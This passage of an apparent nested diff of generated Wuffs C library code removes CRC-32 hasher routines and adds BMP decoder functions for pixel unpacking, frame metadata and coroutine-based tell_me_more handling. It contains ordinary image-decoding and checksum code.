wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); + +-// ---------------- Initializer Implementations ++ wuffs_base__pixel_format v_dst_pixfmt = {0}; ++ uint32_t v_dst_bits_per_pixel = 0; ++ uint32_t v_dst_bytes_per_pixel = 0; ++ uint64_t v_dst_bytes_per_row = 0; ++ wuffs_base__slice_u8 v_dst_palette = {0}; ++ wuffs_base__table_u8 v_tab = {0}; ++ wuffs_base__slice_u8 v_dst = {0}; ++ uint64_t v_i = 0; ++ uint64_t v_n = 0; ++ uint32_t v_p0 = 0; ++ uint32_t v_chunk_bits = 0; ++ uint32_t v_chunk_count = 0; ++ uint32_t v_pixels_per_chunk = 0; + +-wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT +-wuffs_crc32__ieee_hasher__initialize( +- wuffs_crc32__ieee_hasher* self, +- size_t sizeof_star_self, +- uint64_t wuffs_version, +- uint32_t options){ +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (sizeof(*self) != sizeof_star_self) { +- return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); +- } +- if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || +- (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { +- return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; + } + +- if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { +- // The whole point of this if-check is to detect an uninitialized *self. +- // We disable the warning on GCC. Clang-5.0 does not have this warning. +-#if !defined(__clang__) && defined(__GNUC__) +-#pragma GCC diagnostic push +-#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" +-#endif +- if (self->private_impl.magic != 0) { +- return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); ++ v_dst_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_dst); ++ v_dst_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_dst_pixfmt); ++ if ((v_dst_bits_per_pixel & 7u) != 0u) { ++ status = wuffs_base__make_status(wuffs_base__error__unsupported_option); ++ goto exit; ++ } ++ v_dst_bytes_per_pixel = (v_dst_bits_per_pixel / 8u); ++ v_dst_bytes_per_row = ((uint64_t)((self->private_impl.f_width * v_dst_bytes_per_pixel))); ++ v_dst_palette = wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8_ij(self->private_data.f_scratch, 1024, 2048)); ++ v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); ++ while (true) { ++ if (self->private_impl.f_dst_x == self->private_impl.f_width) { ++ self->private_impl.f_dst_x = 0u; ++ self->private_impl.f_dst_y += self->private_impl.f_dst_y_inc; ++ if (self->private_impl.f_dst_y >= self->private_impl.f_height) { ++ break; ++ } + } +-#if !defined(__clang__) && defined(__GNUC__) +-#pragma GCC diagnostic pop +-#endif +- } else { +- if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { +- memset(self, 0, sizeof(*self)); +- options |= WUFFS_INITIALIZE__ALREADY_ZEROED; ++ v_dst = wuffs_private_impl__table_u8__row_u32(v_tab, self->private_impl.f_dst_y); ++ if (v_dst_bytes_per_row < ((uint64_t)(v_dst.len))) { ++ v_dst = wuffs_base__slice_u8__subslice_j(v_dst, v_dst_bytes_per_row); ++ } ++ v_i = (((uint64_t)(self->private_impl.f_dst_x)) * ((uint64_t)(v_dst_bytes_per_pixel))); ++ if (v_i >= ((uint64_t)(v_dst.len))) { ++ if (self->private_impl.f_bits_per_pixel == 1u) { ++ v_chunk_count = ((wuffs_base__u32__sat_sub(self->private_impl.f_width, self->private_impl.f_dst_x) + 31u) / 32u); ++ v_pixels_per_chunk = 32u; ++ } else if (self->private_impl.f_bits_per_pixel == 2u) { ++ v_chunk_count = ((wuffs_base__u32__sat_sub(self->private_impl.f_width, self->private_impl.f_dst_x) + 15u) / 16u); ++ v_pixels_per_chunk = 16u; ++ } else { ++ v_chunk_count = ((wuffs_base__u32__sat_sub(self->private_impl.f_width, self->private_impl.f_dst_x) + 7u) / 8u); ++ v_pixels_per_chunk = 8u; ++ } ++ while ((v_chunk_count >= 64u) && (((uint64_t)(io2_a_src - iop_a_src)) >= 256u)) { ++ iop_a_src += 256u; ++ self->private_impl.f_dst_x = wuffs_base__u32__min(self->private_impl.f_width, ((uint32_t)(self->private_impl.f_dst_x + (v_pixels_per_chunk * 64u)))); ++ v_chunk_count -= 64u; ++ } ++ while ((v_chunk_count >= 8u) && (((uint64_t)(io2_a_src - iop_a_src)) >= 32u)) { ++ iop_a_src += 32u; ++ self->private_impl.f_dst_x = wuffs_base__u32__min(self->private_impl.f_width, ((uint32_t)(self->private_impl.f_dst_x + (v_pixels_per_chunk * 8u)))); ++ v_chunk_count -= 8u; ++ } ++ while (v_chunk_count > 0u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) < 4u) { ++ status = wuffs_base__make_status(wuffs_bmp__note__internal_note_short_read); ++ goto ok; ++ } ++ iop_a_src += 4u; ++ self->private_impl.f_dst_x = wuffs_base__u32__min(self->private_impl.f_width, ((uint32_t)(self->private_impl.f_dst_x + (v_pixels_per_chunk * 1u)))); ++ v_chunk_count -= 1u; ++ } ++ continue; ++ } ++ v_dst = wuffs_base__slice_u8__subslice_i(v_dst, v_i); ++ v_p0 = 0u; ++ if (self->private_impl.f_bits_per_pixel == 1u) { ++ v_chunk_count = ((wuffs_base__u32__sat_sub(self->private_impl.f_width, self->private_impl.f_dst_x) + 31u) / 32u); ++ v_chunk_count = wuffs_base__u32__min(v_chunk_count, 16u); ++ while ((v_chunk_count > 0u) && (((uint64_t)(io2_a_src - iop_a_src)) >= 4u)) { ++ v_chunk_bits = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); ++ iop_a_src += 4u; ++ self->private_data.f_scratch[(v_p0 + 0u)] = ((uint8_t)((1u & (v_chunk_bits >> 31u)))); ++ self->private_data.f_scratch[(v_p0 + 1u)] = ((uint8_t)((1u & (v_chunk_bits >> 30u)))); ++ self->private_data.f_scratch[(v_p0 + 2u)] = ((uint8_t)((1u & (v_chunk_bits >> 29u)))); ++ self->private_data.f_scratch[(v_p0 + 3u)] = ((uint8_t)((1u & (v_chunk_bits >> 28u)))); ++ self->private_data.f_scratch[(v_p0 + 4u)] = ((uint8_t)((1u & (v_chunk_bits >> 27u)))); ++ self->private_data.f_scratch[(v_p0 + 5u)] = ((uint8_t)((1u & (v_chunk_bits >> 26u)))); ++ self->private_data.f_scratch[(v_p0 + 6u)] = ((uint8_t)((1u & (v_chunk_bits >> 25u)))); ++ self->private_data.f_scratch[(v_p0 + 7u)] = ((uint8_t)((1u & (v_chunk_bits >> 24u)))); ++ self->private_data.f_scratch[(v_p0 + 8u)] = ((uint8_t)((1u & (v_chunk_bits >> 23u)))); ++ self->private_data.f_scratch[(v_p0 + 9u)] = ((uint8_t)((1u & (v_chunk_bits >> 22u)))); ++ self->private_data.f_scratch[(v_p0 + 10u)] = ((uint8_t)((1u & (v_chunk_bits >> 21u)))); ++ self->private_data.f_scratch[(v_p0 + 11u)] = ((uint8_t)((1u & (v_chunk_bits >> 20u)))); ++ self->private_data.f_scratch[(v_p0 + 12u)] = ((uint8_t)((1u & (v_chunk_bits >> 19u)))); ++ self->private_data.f_scratch[(v_p0 + 13u)] = ((uint8_t)((1u & (v_chunk_bits >> 18u)))); ++ self->private_data.f_scratch[(v_p0 + 14u)] = ((uint8_t)((1u & (v_chunk_bits >> 17u)))); ++ self->private_data.f_scratch[(v_p0 + 15u)] = ((uint8_t)((1u & (v_chunk_bits >> 16u)))); ++ self->private_data.f_scratch[(v_p0 + 16u)] = ((uint8_t)((1u & (v_chunk_bits >> 15u)))); ++ self->private_data.f_scratch[(v_p0 + 17u)] = ((uint8_t)((1u & (v_chunk_bits >> 14u)))); ++ self->private_data.f_scratch[(v_p0 + 18u)] = ((uint8_t)((1u & (v_chunk_bits >> 13u)))); ++ self->private_data.f_scratch[(v_p0 + 19u)] = ((uint8_t)((1u & (v_chunk_bits >> 12u)))); ++ self->private_data.f_scratch[(v_p0 + 20u)] = ((uint8_t)((1u & (v_chunk_bits >> 11u)))); ++ self->private_data.f_scratch[(v_p0 + 21u)] = ((uint8_t)((1u & (v_chunk_bits >> 10u)))); ++ self->private_data.f_scratch[(v_p0 + 22u)] = ((uint8_t)((1u & (v_chunk_bits >> 9u)))); ++ self->private_data.f_scratch[(v_p0 + 23u)] = ((uint8_t)((1u & (v_chunk_bits >> 8u)))); ++ self->private_data.f_scratch[(v_p0 + 24u)] = ((uint8_t)((1u & (v_chunk_bits >> 7u)))); ++ self->private_data.f_scratch[(v_p0 + 25u)] = ((uint8_t)((1u & (v_chunk_bits >> 6u)))); ++ self->private_data.f_scratch[(v_p0 + 26u)] = ((uint8_t)((1u & (v_chunk_bits >> 5u)))); ++ self->private_data.f_scratch[(v_p0 + 27u)] = ((uint8_t)((1u & (v_chunk_bits >> 4u)))); ++ self->private_data.f_scratch[(v_p0 + 28u)] = ((uint8_t)((1u & (v_chunk_bits >> 3u)))); ++ self->private_data.f_scratch[(v_p0 + 29u)] = ((uint8_t)((1u & (v_chunk_bits >> 2u)))); ++ self->private_data.f_scratch[(v_p0 + 30u)] = ((uint8_t)((1u & (v_chunk_bits >> 1u)))); ++ self->private_data.f_scratch[(v_p0 + 31u)] = ((uint8_t)((1u & (v_chunk_bits >> 0u)))); ++ v_p0 = ((v_p0 & 511u) + 32u); ++ v_chunk_count -= 1u; ++ } ++ } else if (self->private_impl.f_bits_per_pixel == 2u) { ++ v_chunk_count = ((wuffs_base__u32__sat_sub(self->private_impl.f_width, self->private_impl.f_dst_x) + 15u) / 16u); ++ v_chunk_count = wuffs_base__u32__min(v_chunk_count, 32u); ++ while ((v_chunk_count > 0u) && (((uint64_t)(io2_a_src - iop_a_src)) >= 4u)) { ++ v_chunk_bits = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); ++ iop_a_src += 4u; ++ self->private_data.f_scratch[(v_p0 + 0u)] = ((uint8_t)((3u & (v_chunk_bits >> 30u)))); ++ self->private_data.f_scratch[(v_p0 + 1u)] = ((uint8_t)((3u & (v_chunk_bits >> 28u)))); ++ self->private_data.f_scratch[(v_p0 + 2u)] = ((uint8_t)((3u & (v_chunk_bits >> 26u)))); ++ self->private_data.f_scratch[(v_p0 + 3u)] = ((uint8_t)((3u & (v_chunk_bits >> 24u)))); ++ self->private_data.f_scratch[(v_p0 + 4u)] = ((uint8_t)((3u & (v_chunk_bits >> 22u)))); ++ self->private_data.f_scratch[(v_p0 + 5u)] = ((uint8_t)((3u & (v_chunk_bits >> 20u)))); ++ self->private_data.f_scratch[(v_p0 + 6u)] = ((uint8_t)((3u & (v_chunk_bits >> 18u)))); ++ self->private_data.f_scratch[(v_p0 + 7u)] = ((uint8_t)((3u & (v_chunk_bits >> 16u)))); ++ self->private_data.f_scratch[(v_p0 + 8u)] = ((uint8_t)((3u & (v_chunk_bits >> 14u)))); ++ self->private_data.f_scratch[(v_p0 + 9u)] = ((uint8_t)((3u & (v_chunk_bits >> 12u)))); ++ self->private_data.f_scratch[(v_p0 + 10u)] = ((uint8_t)((3u & (v_chunk_bits >> 10u)))); ++ self->private_data.f_scratch[(v_p0 + 11u)] = ((uint8_t)((3u & (v_chunk_bits >> 8u)))); ++ self->private_data.f_scratch[(v_p0 + 12u)] = ((uint8_t)((3u & (v_chunk_bits >> 6u)))); ++ self->private_data.f_scratch[(v_p0 + 13u)] = ((uint8_t)((3u & (v_chunk_bits >> 4u)))); ++ self->private_data.f_scratch[(v_p0 + 14u)] = ((uint8_t)((3u & (v_chunk_bits >> 2u)))); ++ self->private_data.f_scratch[(v_p0 + 15u)] = ((uint8_t)((3u & (v_chunk_bits >> 0u)))); ++ v_p0 = ((v_p0 & 511u) + 16u); ++ v_chunk_count -= 1u; ++ } + } else { +- memset(&(self->private_impl), 0, sizeof(self->private_impl)); ++ v_chunk_count = ((wuffs_base__u32__sat_sub(self->private_impl.f_width, self->private_impl.f_dst_x) + 7u) / 8u); ++ v_chunk_count = wuffs_base__u32__min(v_chunk_count, 64u); ++ while ((v_chunk_count > 0u) && (((uint64_t)(io2_a_src - iop_a_src)) >= 4u)) { ++ v_chunk_bits = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); ++ iop_a_src += 4u; ++ self->private_data.f_scratch[(v_p0 + 0u)] = ((uint8_t)((15u & (v_chunk_bits >> 28u)))); ++ self->private_data.f_scratch[(v_p0 + 1u)] = ((uint8_t)((15u & (v_chunk_bits >> 24u)))); ++ self->private_data.f_scratch[(v_p0 + 2u)] = ((uint8_t)((15u & (v_chunk_bits >> 20u)))); ++ self->private_data.f_scratch[(v_p0 + 3u)] = ((uint8_t)((15u & (v_chunk_bits >> 16u)))); ++ self->private_data.f_scratch[(v_p0 + 4u)] = ((uint8_t)((15u & (v_chunk_bits >> 12u)))); ++ self->private_data.f_scratch[(v_p0 + 5u)] = ((uint8_t)((15u & (v_chunk_bits >> 8u)))); ++ self->private_data.f_scratch[(v_p0 + 6u)] = ((uint8_t)((15u & (v_chunk_bits >> 4u)))); ++ self->private_data.f_scratch[(v_p0 + 7u)] = ((uint8_t)((15u & (v_chunk_bits >> 0u)))); ++ v_p0 = ((v_p0 & 511u) + 8u); ++ v_chunk_count -= 1u; ++ } ++ } ++ v_p0 = wuffs_base__u32__min(v_p0, wuffs_base__u32__sat_sub(self->private_impl.f_width, self->private_impl.f_dst_x)); ++ v_n = wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, v_dst, v_dst_palette, wuffs_base__make_slice_u8(self->private_data.f_scratch, v_p0)); ++ if (v_n == 0u) { ++ status = wuffs_base__make_status(wuffs_bmp__note__internal_note_short_read); ++ goto ok; + } ++ wuffs_private_impl__u32__sat_add_indirect(&self->private_impl.f_dst_x, ((uint32_t)(v_n))); + } ++ status = wuffs_base__make_status(NULL); ++ goto ok; + +- self->private_impl.choosy_up = &wuffs_crc32__ieee_hasher__up__choosy_default; ++ ok: ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } + +- self->private_impl.magic = WUFFS_BASE__MAGIC; +- self->private_impl.vtable_for__wuffs_base__hasher_u32.vtable_name = +- wuffs_base__hasher_u32__vtable_name; +- self->private_impl.vtable_for__wuffs_base__hasher_u32.function_pointers = +- (const void*)(&wuffs_crc32__ieee_hasher__func_ptrs_for__wuffs_base__hasher_u32); +- return wuffs_base__make_status(NULL); ++ return status; + } + +-wuffs_crc32__ieee_hasher* +-wuffs_crc32__ieee_hasher__alloc(void) { +- wuffs_crc32__ieee_hasher* x = +- (wuffs_crc32__ieee_hasher*)(calloc(sizeof(wuffs_crc32__ieee_hasher), 1)); +- if (!x) { +- return NULL; ++// -------- func bmp.decoder.frame_dirty_rect ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 ++wuffs_bmp__decoder__frame_dirty_rect( ++ const wuffs_bmp__decoder* self) { ++ if (!self) { ++ return wuffs_base__utility__empty_rect_ie_u32(); + } +- if (wuffs_crc32__ieee_hasher__initialize( +- x, sizeof(wuffs_crc32__ieee_hasher), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { +- free(x); +- return NULL; ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__empty_rect_ie_u32(); + } +- return x; +-} + +-size_t +-sizeof__wuffs_crc32__ieee_hasher(void) { +- return sizeof(wuffs_crc32__ieee_hasher); ++ return wuffs_base__utility__make_rect_ie_u32( ++ 0u, ++ 0u, ++ self->private_impl.f_width, ++ self->private_impl.f_height); + } + +-// ---------------- Function Implementations +- +-// -------- func crc32.ieee_hasher.get_quirk ++// -------- func bmp.decoder.num_animation_loops + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_crc32__ieee_hasher__get_quirk( +- const wuffs_crc32__ieee_hasher* self, +- uint32_t a_key) { ++WUFFS_BASE__MAYBE_STATIC uint32_t ++wuffs_bmp__decoder__num_animation_loops( ++ const wuffs_bmp__decoder* self) { + if (!self) { + return 0; + } +@@ -33524,709 +33654,531 @@ wuffs_crc32__ieee_hasher__get_quirk( + return 0u; + } + +-// -------- func crc32.ieee_hasher.set_quirk ++// -------- func bmp.decoder.num_decoded_frame_configs + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_crc32__ieee_hasher__set_quirk( +- wuffs_crc32__ieee_hasher* self, +- uint32_t a_key, +- uint64_t a_value) { ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_bmp__decoder__num_decoded_frame_configs( ++ const wuffs_bmp__decoder* self) { + if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ return 0; + } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; + } + +- return wuffs_base__make_status(wuffs_base__error__unsupported_option); ++ if (self->private_impl.f_call_sequence > 32u) { ++ return 1u; ++ } ++ return 0u; + } + +-// -------- func crc32.ieee_hasher.update ++// -------- func bmp.decoder.num_decoded_frames + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct +-wuffs_crc32__ieee_hasher__update( +- wuffs_crc32__ieee_hasher* self, +- wuffs_base__slice_u8 a_x) { ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_bmp__decoder__num_decoded_frames( ++ const wuffs_bmp__decoder* self) { + if (!self) { +- return wuffs_base__make_empty_struct(); ++ return 0; + } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_empty_struct(); ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; + } + +- if (self->private_impl.f_state == 0u) { +- self->private_impl.choosy_up = ( +-#if defined(WUFFS_BASE__CPU_ARCH__ARM_CRC32) +- wuffs_base__cpu_arch__have_arm_crc32() ? &wuffs_crc32__ieee_hasher__up_arm_crc32 : +-#endif +-#if defined(WUFFS_BASE__CPU_ARCH__X86_64) +- wuffs_base__cpu_arch__have_x86_avx2() ? &wuffs_crc32__ieee_hasher__up_x86_avx2 : +-#endif +-#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +- wuffs_base__cpu_arch__have_x86_sse42() ? &wuffs_crc32__ieee_hasher__up_x86_sse42 : +-#endif +- self->private_impl.choosy_up); ++ if (self->private_impl.f_call_sequence > 64u) { ++ return 1u; + } +- wuffs_crc32__ieee_hasher__up(self, a_x); +- return wuffs_base__make_empty_struct(); ++ return 0u; + } + +-// -------- func crc32.ieee_hasher.update_u32 ++// -------- func bmp.decoder.restart_frame + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint32_t +-wuffs_crc32__ieee_hasher__update_u32( +- wuffs_crc32__ieee_hasher* self, +- wuffs_base__slice_u8 a_x) { ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_bmp__decoder__restart_frame( ++ wuffs_bmp__decoder* self, ++ uint64_t a_index, ++ uint64_t a_io_position) { + if (!self) { +- return 0; ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); + } + if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return 0; ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); + } + +- wuffs_crc32__ieee_hasher__update(self, a_x); +- return self->private_impl.f_state; ++ if (self->private_impl.f_call_sequence < 32u) { ++ return wuffs_base__make_status(wuffs_base__error__bad_call_sequence); ++ } ++ if (a_index != 0u) { ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ self->private_impl.f_call_sequence = 40u; ++ self->private_impl.f_frame_config_io_position = a_io_position; ++ return wuffs_base__make_status(NULL); + } + +-// -------- func crc32.ieee_hasher.up ++// -------- func bmp.decoder.set_report_metadata + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_crc32__ieee_hasher__up( +- wuffs_crc32__ieee_hasher* self, +- wuffs_base__slice_u8 a_x) { +- return (*self->private_impl.choosy_up)(self, a_x); ++WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct ++wuffs_bmp__decoder__set_report_metadata( ++ wuffs_bmp__decoder* self, ++ uint32_t a_fourcc, ++ bool a_report) { ++ return wuffs_base__make_empty_struct(); + } + ++// -------- func bmp.decoder.tell_me_more ++ + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_crc32__ieee_hasher__up__choosy_default( +- wuffs_crc32__ieee_hasher* self, +- wuffs_base__slice_u8 a_x) { +- uint32_t v_s = 0; +- wuffs_base__slice_u8 v_p = {0}; ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_bmp__decoder__tell_me_more( ++ wuffs_bmp__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__more_information* a_minfo, ++ wuffs_base__io_buffer* a_src) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ if (!a_dst || !a_src) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ if ((self->private_impl.active_coroutine != 0) && ++ (self->private_impl.active_coroutine != 4)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ } ++ self->private_impl.active_coroutine = 0; ++ wuffs_base__status status = wuffs_base__make_status(NULL); + +- v_s = (4294967295u ^ self->private_impl.f_state); +- { +- wuffs_base__slice_u8 i_slice_p = a_x; +- v_p.ptr = i_slice_p.ptr; +- v_p.len = 16; +- uint8_t* i_end0_p = v_p.ptr + (((i_slice_p.len - (size_t)(v_p.ptr - i_slice_p.ptr)) / 32) * 32); +- while (v_p.ptr < i_end0_p) { +- v_s ^= ((((uint32_t)(v_p.ptr[0u])) << 0u) | +- (((uint32_t)(v_p.ptr[1u])) << 8u) | +- (((uint32_t)(v_p.ptr[2u])) << 16u) | +- (((uint32_t)(v_p.ptr[3u])) << 24u)); +- v_s = (WUFFS_CRC32__IEEE_TABLE[0u][v_p.ptr[15u]] ^ +- WUFFS_CRC32__IEEE_TABLE[1u][v_p.ptr[14u]] ^ +- WUFFS_CRC32__IEEE_TABLE[2u][v_p.ptr[13u]] ^ +- WUFFS_CRC32__IEEE_TABLE[3u][v_p.ptr[12u]] ^ +- WUFFS_CRC32__IEEE_TABLE[4u][v_p.ptr[11u]] ^ +- WUFFS_CRC32__IEEE_TABLE[5u][v_p.ptr[10u]] ^ +- WUFFS_CRC32__IEEE_TABLE[6u][v_p.ptr[9u]] ^ +- WUFFS_CRC32__IEEE_TABLE[7u][v_p.ptr[8u]] ^ +- WUFFS_CRC32__IEEE_TABLE[8u][v_p.ptr[7u]] ^ +- WUFFS_CRC32__IEEE_TABLE[9u][v_p.ptr[6u]] ^ +- WUFFS_CRC32__IEEE_TABLE[10u][v_p.ptr[5u]] ^ +- WUFFS_CRC32__IEEE_TABLE[11u][v_p.ptr[4u]] ^ +- WUFFS_CRC32__IEEE_TABLE[12u][(255u & (v_s >> 24u))] ^ +- WUFFS_CRC32__IEEE_TABLE[13u][(255u & (v_s >> 16u))] ^ +- WUFFS_CRC32__IEEE_TABLE[14u][(255u & (v_s >> 8u))] ^ +- WUFFS_CRC32__IEEE_TABLE[15u][(255u & (v_s >> 0u))]); +- v_p.ptr += 16; +- v_s ^= ((((uint32_t)(v_p.ptr[0u])) << 0u) | +- (((uint32_t)(v_p.ptr[1u])) << 8u) | +- (((uint32_t)(v_p.ptr[2u])) << 16u) | +- (((uint32_t)(v_p.ptr[3u])) << 24u)); +- v_s = (WUFFS_CRC32__IEEE_TABLE[0u][v_p.ptr[15u]] ^ +- WUFFS_CRC32__IEEE_TABLE[1u][v_p.ptr[14u]] ^ +- WUFFS_CRC32__IEEE_TABLE[2u][v_p.ptr[13u]] ^ +- WUFFS_CRC32__IEEE_TABLE[3u][v_p.ptr[12u]] ^ +- WUFFS_CRC32__IEEE_TABLE[4u][v_p.ptr[11u]] ^ +- WUFFS_CRC32__IEEE_TABLE[5u][v_p.ptr[10u]] ^ +- WUFFS_CRC32__IEEE_TABLE[6u][v_p.ptr[9u]] ^ +- WUFFS_CRC32__IEEE_TABLE[7u][v_p.ptr[8u]] ^ +- WUFFS_CRC32__IEEE_TABLE[8u][v_p.ptr[7u]] ^ +- WUFFS_CRC32__IEEE_TABLE[9u][v_p.ptr[6u]] ^ +- WUFFS_CRC32__IEEE_TABLE[10u][v_p.ptr[5u]] ^ +- WUFFS_CRC32__IEEE_TABLE[11u][v_p.ptr[4u]] ^ +- WUFFS_CRC32__IEEE_TABLE[12u][(255u & (v_s >> 24u))] ^ +- WUFFS_CRC32__IEEE_TABLE[13u][(255u & (v_s >> 16u))] ^ +- WUFFS_CRC32__IEEE_TABLE[14u][(255u & (v_s >> 8u))] ^ +- WUFFS_CRC32__IEEE_TABLE[15u][(255u & (v_s >> 0u))]); +- v_p.ptr += 16; +- } +- v_p.len = 16; +- uint8_t* i_end1_p = v_p.ptr + (((i_slice_p.len - (size_t)(v_p.ptr - i_slice_p.ptr)) / 16) * 16); +- while (v_p.ptr < i_end1_p) { +- v_s ^= ((((uint32_t)(v_p.ptr[0u])) << 0u) | +- (((uint32_t)(v_p.ptr[1u])) << 8u) | +- (((uint32_t)(v_p.ptr[2u])) << 16u) | +- (((uint32_t)(v_p.ptr[3u])) << 24u)); +- v_s = (WUFFS_CRC32__IEEE_TABLE[0u][v_p.ptr[15u]] ^ +- WUFFS_CRC32__IEEE_TABLE[1u][v_p.ptr[14u]] ^ +- WUFFS_CRC32__IEEE_TABLE[2u][v_p.ptr[13u]] ^ +- WUFFS_CRC32__IEEE_TABLE[3u][v_p.ptr[12u]] ^ +- WUFFS_CRC32__IEEE_TABLE[4u][v_p.ptr[11u]] ^ +- WUFFS_CRC32__IEEE_TABLE[5u][v_p.ptr[10u]] ^ +- WUFFS_CRC32__IEEE_TABLE[6u][v_p.ptr[9u]] ^ +- WUFFS_CRC32__IEEE_TABLE[7u][v_p.ptr[8u]] ^ +- WUFFS_CRC32__IEEE_TABLE[8u][v_p.ptr[7u]] ^ +- WUFFS_CRC32__IEEE_TABLE[9u][v_p.ptr[6u]] ^ +- WUFFS_CRC32__IEEE_TABLE[10u][v_p.ptr[5u]] ^ +- WUFFS_CRC32__IEEE_TABLE[11u][v_p.ptr[4u]] ^ +- WUFFS_CRC32__IEEE_TABLE[12u][(255u & (v_s >> 24u))] ^ +- WUFFS_CRC32__IEEE_TABLE[13u][(255u & (v_s >> 16u))] ^ +- WUFFS_CRC32__IEEE_TABLE[14u][(255u & (v_s >> 8u))] ^ +- WUFFS_CRC32__IEEE_TABLE[15u][(255u & (v_s >> 0u))]); +- v_p.ptr += 16; +- } +- v_p.len = 1; +- uint8_t* i_end2_p = i_slice_p.ptr + i_slice_p.len; +- while (v_p.ptr < i_end2_p) { +- v_s = (WUFFS_CRC32__IEEE_TABLE[0u][(((uint8_t)(v_s)) ^ v_p.ptr[0u])] ^ (v_s >> 8u)); +- v_p.ptr += 1; ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ ++ uint32_t coro_susp_point = self->private_impl.p_tell_me_more; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ while (true) { ++ { ++ wuffs_base__status t_0 = wuffs_bmp__decoder__do_tell_me_more(self, a_dst, a_minfo, a_src); ++ v_status = t_0; ++ } ++ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { ++ status = wuffs_base__make_status(wuffs_bmp__error__truncated_input); ++ goto exit; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); + } +- v_p.len = 0; ++ ++ ok: ++ self->private_impl.p_tell_me_more = 0; ++ goto exit; + } +- self->private_impl.f_state = (4294967295u ^ v_s); +- return wuffs_base__make_empty_struct(); ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_tell_me_more 